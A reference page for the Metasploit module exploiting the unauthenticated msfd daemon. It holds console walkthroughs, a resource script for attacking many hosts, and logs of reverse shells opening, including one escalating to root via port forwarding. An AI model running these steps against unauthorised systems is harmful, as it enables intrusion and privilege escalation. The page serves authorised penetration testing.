Metasploit msfd Remote Code Execution - Metasploit
This page contains detailed information about how to use the exploit/multi/misc/msfd_rce_remote metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Metasploit msfd Remote Code Execution
Module: exploit/multi/misc/msfd_rce_remote
Source code: modules/exploits/multi/misc/msfd_rce_remote.rb
Disclosure date: 2018-04-11
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): ruby
Supported platform(s): Ruby
Target service / protocol: -
Target network port(s): 55554
List of CVEs: -
Metasploit's msfd-service makes it possible to get a msfconsole-like interface over a TCP socket. If this socket is accessible on a remote interface, an attacker can execute commands on the victim's machine. If msfd is running with higher privileges than the current local user, this module can also be used for privilege escalation. In that case, port forwarding on the compromised host can be used. Code execution is achieved with the msfconsole command: irb -e 'CODE'.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using msfd_rce_remote against a single host
Normally, you can use exploit/multi/misc/msfd_rce_remote this way:
msf > use exploit/multi/misc/msfd_rce_remote
msf exploit(msfd_rce_remote) > show targets
... a list of targets ...
msf exploit(msfd_rce_remote) > set TARGET target-id
msf exploit(msfd_rce_remote) > show options
... show and set options ...
msf exploit(msfd_rce_remote) > exploit
Using msfd_rce_remote against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your msfd_rce_remote will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/multi/misc/msfd_rce_remote")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Description
This module connects to the Metasploit msf daemon and uses the ruby interpreter to achieve a shell. This module can target remote systems if the daemon is exposed on a remote interface or it can be used for privilege escalation when the attacker has a foothold. If used as privilege escalation, port forwarding must be set up.
Vulnerable Application
Metasploit has a legacy method of providing remote access. The msf daemon provides no means of authentication and is therefore vulnerable against an attacker who has IP access to the daemon.
All versions of Metasploit are affected by this module, however testing has only been performed on the following targets:
- Metasploit 5.0.0 on Ubuntu 16.04
- Metasploit 4.16.51 on Windows 7
Source code and installers:
Verification Steps
- Start the vulnerable service:
msfd -f -q -a 0.0.0.0
- Start
msfconsole
- Do:
use exploit/multi/misc/msfd_rce_remote
- Do:
set RHOST [IP]
- Do:
set RPORT [PORT]
(default:55554
) - Do:
set PAYLOAD [PAYLOAD]
- Do:
exploit
- You should get a shell
Options
RHOST
Remote Host
RPORT
Remote port the vulnerable service is running at, default is 55554.
Scenarios
Remote target
msf5 > use exploit/multi/misc/msfd_rce_remote
msf5 exploit(multi/misc/msfd_rce_remote) > set rhost 192.168.56.101
rhost => 192.168.56.101
msf5 exploit(multi/misc/msfd_rce_remote) > set payload ruby/shell_reverse_tcp
payload => ruby/shell_reverse_tcp
msf5 exploit(multi/misc/msfd_rce_remote) > set lhost 192.168.0.17
lhost => 192.168.0.17
msf5 exploit(multi/misc/msfd_rce_remote) > set lport 443
lport => 443
msf5 exploit(multi/misc/msfd_rce_remote) > exploit
[-] Handler failed to bind to 192.168.0.17:443:- -
[*] Started reverse TCP handler on 0.0.0.0:443
[*] Command shell session 1 opened (172.17.0.2:443 -> 192.168.0.17:48152) at 2018-04-22 18:43:41 +0000
whoami
robin
Local target - privilege escalation
meterpreter > getuid
Server username: uid=1000, gid=1000, euid=1000, egid=1000
meterpreter > shell
Process 17366 created.
Channel 1 created.
netstat -lntup|grep 55554
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
tcp 0 0 127.0.0.1:55554 0.0.0.0:* LISTEN -
ps aux | grep msfd
root 17303 3.3 13.8 535168 283492 pts/18 Sl+ 20:47 0:08 ruby ./msfd -f -q
^C
Terminate channel 1? [y/N] y
meterpreter > portfwd add -l 55554 -p 55554 -r 127.0.0.1
[*] Local TCP relay created: :55554 <-> 127.0.0.1:55554
meterpreter > background
[*] Backgrounding session 2...
msf5 > use exploit/multi/misc/msfd_rce_remote
msf5 exploit(multi/misc/msfd_rce_remote) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf5 exploit(multi/misc/msfd_rce_remote) > exploit
[-] Handler failed to bind to 192.168.0.17:443:- -
[*] Started reverse TCP handler on 0.0.0.0:443
[*] Command shell session 3 opened (172.17.0.2:443 -> 192.168.0.17:48300) at 2018-04-22 18:55:19 +0000
id
uid=0(root) gid=0(root) groups=0(root)
Go back to menu.
Msfconsole Usage
Here is how the multi/misc/msfd_rce_remote exploit module looks in the msfconsole:
msf6 > use exploit/multi/misc/msfd_rce_remote
[*] No payload configured, defaulting to generic/shell_reverse_tcp
msf6 exploit(multi/misc/msfd_rce_remote) > show info
Name: Metasploit msfd Remote Code Execution
Module: exploit/multi/misc/msfd_rce_remote
Platform: Ruby
Arch: ruby
Privileged: No
License: BSD License
Rank: Excellent
Disclosed: 2018-04-11
Provided by:
Robin Stenvi <[email protected]>
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 55554 yes The target port (TCP)
Payload information:
Space: 8192
Avoid: 2 characters
Description:
Metasploit's msfd-service makes it possible to get a msfconsole-like
interface over a TCP socket. If this socket is accessible on a
remote interface, an attacker can execute commands on the victim's
machine. If msfd is running with higher privileges than the current
local user, this module can also be used for privilege escalation.
In that case, port forwarding on the compromised host can be used.
Code execution is achieved with the msfconsole command: irb -e
'CODE'.
Module Options
This is a complete list of options available in the multi/misc/msfd_rce_remote exploit:
msf6 exploit(multi/misc/msfd_rce_remote) > show options
Module options (exploit/multi/misc/msfd_rce_remote):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 55554 yes The target port (TCP)
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the multi/misc/msfd_rce_remote exploit:
msf6 exploit(multi/misc/msfd_rce_remote) > show advanced
Module advanced options (exploit/multi/misc/msfd_rce_remote):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
ARCH no The architecture that is being targeted
PLATFORM no The platform that is being targeted
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/misc/msfd_rce_remote module can exploit:
msf6 exploit(multi/misc/msfd_rce_remote) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/misc/msfd_rce_remote exploit:
msf6 exploit(multi/misc/msfd_rce_remote) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
4 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
5 payload/ruby/pingback_bind_tcp normal No Ruby Pingback, Bind TCP
6 payload/ruby/pingback_reverse_tcp normal No Ruby Pingback, Reverse TCP
7 payload/ruby/shell_bind_tcp normal No Ruby Command Shell, Bind TCP
8 payload/ruby/shell_bind_tcp_ipv6 normal No Ruby Command Shell, Bind TCP IPv6
9 payload/ruby/shell_reverse_tcp normal No Ruby Command Shell, Reverse TCP
10 payload/ruby/shell_reverse_tcp_ssl normal No Ruby Command Shell, Reverse TCP SSL
Evasion Options
Here is the full list of possible evasion options supported by the multi/misc/msfd_rce_remote exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/misc/msfd_rce_remote) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Related Pull Requests
Go back to menu.
See Also
Check also the following modules related to this module:
- auxiliary/crawler/msfcrawler
- auxiliary/scanner/msf/msf_rpc_login
- auxiliary/scanner/msf/msf_web_login
- auxiliary/server/android_browsable_msf_launch
- exploit/multi/browser/msfd_rce_browser
- exploit/multi/misc/msf_rpc_console
- exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection
- exploit/linux/http/dlink_dcs_930l_authenticated_remote_command_execution
- exploit/multi/misc/claymore_dual_miner_remote_manager_rce
- exploit/unix/webapp/pajax_remote_exec
- exploit/windows/backupexec/remote_agent
- exploit/windows/misc/remote_control_collection_rce
- exploit/windows/misc/remote_mouse_rce
- exploit/windows/misc/unified_remote_rce
- exploit/windows/browser/honeywell_hscremotedeploy_exec
- exploit/windows/fileformat/safenet_softremote_groupname
- post/windows/gather/credentials/mremote
- exploit/multi/misc/bmc_server_automation_rscd_nsh_rce
- exploit/multi/misc/erlang_cookie_rce
- exploit/multi/misc/ibm_tm1_unauth_rce
- exploit/multi/misc/jboss_remoting_unified_invoker_rce
Authors
Robin Stenvi <robin.stenvi[at]gmail.com>
Version
This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.